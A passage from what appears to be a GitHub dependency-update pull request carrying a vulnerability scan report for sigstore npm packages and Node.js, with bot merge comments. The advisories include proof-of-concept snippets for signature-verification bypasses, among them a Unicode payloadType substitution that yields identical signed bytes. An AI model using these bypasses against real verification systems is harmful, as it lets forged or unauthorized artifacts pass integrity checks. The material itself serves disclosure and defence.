  certificateIssuer: "https://issuer.example",
  certificateIdentityEmail: "victim@<!-- -->example.com",
  certificateOIDs: {
    "1.2.3.4": "required-value",
  },
});

console.log("certificateOIDs" in policy, JSON.stringify(policy));
// false {"subjectAlternativeName":"victim@<!-- -->example.com","extensions":{"issuer":"https://issuer.example"}}

Impact

Applications that rely on certificateOIDs to restrict which certificates may sign artifacts receive no such protection. Unauthorized certificates that should be rejected on extension policy can be accepted as long as they satisfy the remaining verification checks.

critical: 0 high: 0 medium: 1 low: 0 @sigstore/verify 3.1.0 (npm)

pkg:npm/%40sigstore/verify@3.1.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

medium 6.5: CVE--2026--48816 Insufficient Verification of Data Authenticity

Affected range=3.1.0
Fixed version3.1.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.124%
EPSS Percentile2nd percentile
Description

sigstore-js derives a transparency-log timestamp from tlogEntries[].integratedTime and uses it to validate certificate validity windows and satisfy timestampThreshold. For bundle v0.2, a tlog entry can be inclusionProof-only (no signed inclusionPromise/set), and the inclusion proof path does not cryptographically bind integratedTime. As a result, an attacker who can supply an untrusted bundle can influence time-based verification decisions by choosing integratedTime.

impact

If a consumer accepts attacker-provided bundle v0.2 inputs and relies on tlog-derived timestamps for certificate validity checks, verification can be influenced by an unauthenticated timestamp value. This is a trust gap: integratedTime is treated as a trusted observer timestamp under inclusionProof-only mode even though only the signed inclusionPromise/set path binds it.

affected code

  • packages/verify/src/bundle/index.ts (adds a transparency-log timestamp whenever integratedTime != 0)
  • packages/verify/src/timestamp/index.ts (converts integratedTime to a Date)
  • packages/verify/src/verifier.ts (verifies timestamps before verifying tlog inclusion)
  • packages/verify/src/tlog/index.ts + packages/verify/src/tlog/set.ts (only the inclusionPromise/set path binds integratedTime)

proof of concept

The attached poc.zip contains a self-contained harness that reproduces the behavior on the pinned commit and includes both a canonical test and a negative control.

repro:

  1. extract poc.zip into a fresh directory and run the make targets:
unzip poc.zip -d poc
cd poc/poc-F-SIG-JS-TLOGTIME-001
make canonical
make control
  1. confirm canonical.log includes:
[CALLSITE_HIT]:
[PROOF_MARKER]:
  1. confirm control.log includes:
[NC_MARKER]:

suggested fix

Only treat integratedTime as a trusted timestamp when it is cryptographically bound (for example, via a verified signed inclusionPromise/set). For inclusionProof-only entries, do not count integratedTime toward timestampThreshold, and do not use it for certificate validity decisions unless there is another signed time source (for example, an rfc3161 timestamp).

poc.zip
PR_DESCRIPTION.md
SUBMISSION.md

critical: 0 high: 0 medium: 1 low: 0 @sigstore/core 3.2.0 (npm)

pkg:npm/%40sigstore/core@3.2.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

medium 5.4: CVE--2026--48758 Improper Verification of Cryptographic Signature

Affected range<=3.2.0
Fixed version3.2.1
CVSS Score5.4
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.196%
EPSS Percentile10th percentile
Description

Impact

The preAuthEncoding function in @<!-- -->sigstore/core uses Node.js 'ascii' encoding when converting the PAE (Pre-Authentication Encoding) string to bytes. This allows payloadType to be mutated after signing without invalidating the signature, breaking the type-binding guarantee that DSSE is designed to provide.

In packages/core/src/dsse.ts, the PAE function builds a string containing payloadType and then encodes it with Buffer.from(prefix, 'ascii').

In Node.js, 'ascii' encoding for string-to-Buffer is equivalent to 'latin1', which truncates characters above U+00FF to their low byte. This means for any ASCII character, there exist Unicode characters (at U+01xx, U+02xx, etc.) that produce the identical encoded byte:

Original Codepoint Mutant Codepoint Encoded byte
t U+0074 Ŵ U+0174 0x74
e U+0065 ť U+0165 0x65

An attacker can substitute every character in payloadType with a Unicode variant whose low byte matches, producing identical PAE bytes and a passing signature verification.

Additionally, payloadType.length returns the JavaScript string length (UTF-16 code units) rather than the UTF-8 byte length required by the DSSE spec, though this is only a contributing factor for non-ASCII types.

Reproduction

const { preAuthEncoding } = require('@<!-- -->sigstore/core/dist/dsse.js');
const payload = Buffer.from('hello world');

const original = preAuthEncoding('text/plain', payload);
// U+01xx chars whose low bytes match the original ASCII chars
const mutant = preAuthEncoding('\u0174\u0165\u0178\u0174/\u0170\u016c\u0161\u0169\u016e', payload);

console.log('PAE bytes equal:', original.equals(mutant)); // true — should be false
critical: 0 high: 0 medium: 0 low: 0 unspecified: 22node 24.16.0 (generic)

pkg:generic/node@24.16.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

unspecified : BSA--2026--58045

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58044

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58043

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58042

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58041

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58040

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--58039

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--56850

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--56848

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--56847

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--56846

Affected range>=24.0.0
<24.18.1
Fixed version24.18.1
Description

unspecified : BSA--2026--48937

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48935

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48934

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48933

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48931

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48930

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48928

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48619

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48618

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48617

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

unspecified : BSA--2026--48615

Affected range>=24.0.0
<24.17.0
Fixed version24.17.0
Description

@mergify

mergify Bot commented Aug 6, 2026 •

Copy link
Copy Markdown
Contributor

Merge Queue Status

This pull request spent 6 minutes 36 seconds in the queue, including 3 minutes 35 seconds running CI.

Required conditions to merge

@mergify

mergify Bot commented Aug 6, 2026

Copy link
Copy Markdown
Contributor

Thank you for your contribution @renovate[bot]! Your pull request has been merged.

This branch had an error being deployed

2 failed and 1 inactive deployments
docker_image — 6f120b1c Deployed Aug 6, 2026 by renovate[bot] via Test Image / Cleaning GHCR #11565
code_quality — 6f120b1c Deployed Aug 6, 2026 by renovate[bot] via Lint / Taplo lint #11565
container_health — 6f120b1c Deployed Aug 6, 2026 by renovate[bot] via Test Image / Grype #11565
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant